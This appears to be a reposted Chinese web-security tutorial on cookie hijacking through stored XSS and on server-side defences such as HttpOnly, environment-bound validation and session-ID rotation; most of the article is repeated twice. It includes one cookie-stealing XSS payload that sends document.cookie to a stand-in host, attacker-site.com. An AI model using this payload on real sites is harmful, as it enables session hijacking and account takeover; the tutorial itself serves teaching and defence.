Web 安全之Cookie劫持詳細介紹
發(fā)布日期:2021-12-09 13:21 | 文章來源:腳本之家
1. Cookie是什么?
2. 竊取的原理是什么?
3. 系統(tǒng)如何防Cookie劫持呢?
看完這三個回答, 你就明白哪位傳奇大俠是如何成功的!!!
Cookie:
HTTP天然是無狀態(tài)的協(xié)議, 為了維持和跟蹤用戶的狀態(tài), 引入了Cookie和Session. Cookie包含了瀏覽器客戶端的用戶憑證, 相對較小. Session則維護在服務器, 用于維護相對較大的用戶信息.
用通俗的語言, Cookie是鑰匙, Session是鎖芯.
Cookie簡單理解就是鑰匙, 每次去服務端獲取資源, 需要帶著這把鑰匙, 只有自己的鎖芯(資源), 才能打開.
如果你丟掉了鑰匙, 那沒辦法, 只能配一把鑰匙和鎖芯.
但是如果鑰匙被別人拿了, 那別人就可以冒充你的身份, 去打開你的鎖芯, 從而獲取你的信息, 甚至挪用你的資金. 這是非常危險的.
XSS攻擊:
XSS(Cross Site Scripting)是跨站點腳本攻擊的縮寫. 其就是利用站點開放的文本編輯并發(fā)布的功能, 從而造成攻擊.
其實說的簡單一點, 就是輸入javascript腳本, 竊取并投遞cookie信息到自己的站點.
比如攻擊者以一個普通用戶登錄進來,然后在輸入框中提交以下數(shù)據(jù):
<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 這里有美女在洗澡</a>
攻擊者提交了條帶<a>標簽的數(shù)據(jù),該條數(shù)據(jù)保存于服務器端,而管理員登入時,不小心點擊這個鏈接時,則會把自身的cookie信息, 投遞給hacker設定的網(wǎng)址.
http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz
有了該session-id,攻擊者在會話有效期內(nèi)即可獲得管理員的權限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。
Cookie劫持的防:
基于XSS攻擊, 竊取Cookie信息, 并冒充他人身份.
服務端如何防呢?
第一種辦法是:
給Cookie添加HttpOnly屬性, 這種屬性設置后, 只能在http請求中傳遞, 在腳本中,document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防御值. 但是對網(wǎng)絡攔截, 還是泄露了.
第二種辦法:
在cookie中添加校驗信息, 這個校驗信息和當前用戶外置環(huán)境有些關系,比如ip,user agent等有關.這樣當cookie被人劫持了, 并冒用, 但是在服務器端校驗的時候, 發(fā)現(xiàn)校驗值發(fā)生了變化, 因此要求重新登錄, 這樣也是種很好的思路, 去規(guī)避cookie劫持.
第三種辦法:
cookie中session id的定時更換, 讓session id按一定頻率變換, 同時對用戶而言, 該操作是透明的, 這樣保證了服務體驗的一致性.
2. 竊取的原理是什么?
3. 系統(tǒng)如何防Cookie劫持呢?
看完這三個回答, 你就明白哪位傳奇大俠是如何成功的!!!
Cookie:
HTTP天然是無狀態(tài)的協(xié)議, 為了維持和跟蹤用戶的狀態(tài), 引入了Cookie和Session. Cookie包含了瀏覽器客戶端的用戶憑證, 相對較小. Session則維護在服務器, 用于維護相對較大的用戶信息.
用通俗的語言, Cookie是鑰匙, Session是鎖芯.
Cookie簡單理解就是鑰匙, 每次去服務端獲取資源, 需要帶著這把鑰匙, 只有自己的鎖芯(資源), 才能打開.
如果你丟掉了鑰匙, 那沒辦法, 只能配一把鑰匙和鎖芯.
但是如果鑰匙被別人拿了, 那別人就可以冒充你的身份, 去打開你的鎖芯, 從而獲取你的信息, 甚至挪用你的資金. 這是非常危險的.
XSS攻擊:
XSS(Cross Site Scripting)是跨站點腳本攻擊的縮寫. 其就是利用站點開放的文本編輯并發(fā)布的功能, 從而造成攻擊.
其實說的簡單一點, 就是輸入javascript腳本, 竊取并投遞cookie信息到自己的站點.
比如攻擊者以一個普通用戶登錄進來,然后在輸入框中提交以下數(shù)據(jù):
<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 這里有美女在洗澡</a>
攻擊者提交了條帶<a>標簽的數(shù)據(jù),該條數(shù)據(jù)保存于服務器端,而管理員登入時,不小心點擊這個鏈接時,則會把自身的cookie信息, 投遞給hacker設定的網(wǎng)址.
http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz
有了該session-id,攻擊者在會話有效期內(nèi)即可獲得管理員的權限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。
Cookie劫持的防:
基于XSS攻擊, 竊取Cookie信息, 并冒充他人身份.
服務端如何防呢?
第一種辦法是:
給Cookie添加HttpOnly屬性, 這種屬性設置后, 只能在http請求中傳遞, 在腳本中,document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防御值. 但是對網(wǎng)絡攔截, 還是泄露了.
第二種辦法:
在cookie中添加校驗信息, 這個校驗信息和當前用戶外置環(huán)境有些關系,比如ip,user agent等有關.這樣當cookie被人劫持了, 并冒用, 但是在服務器端校驗的時候, 發(fā)現(xiàn)校驗值發(fā)生了變化, 因此要求重新登錄, 這樣也是種很好的思路, 去規(guī)避cookie劫持.
第三種辦法:
cookie中session id的定時更換, 讓session id按一定頻率變換, 同時對用戶而言, 該操作是透明的, 這樣保證了服務體驗的一致性.
版權聲明:本站文章來源標注為YINGSOO的內(nèi)容版權均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。
相關文章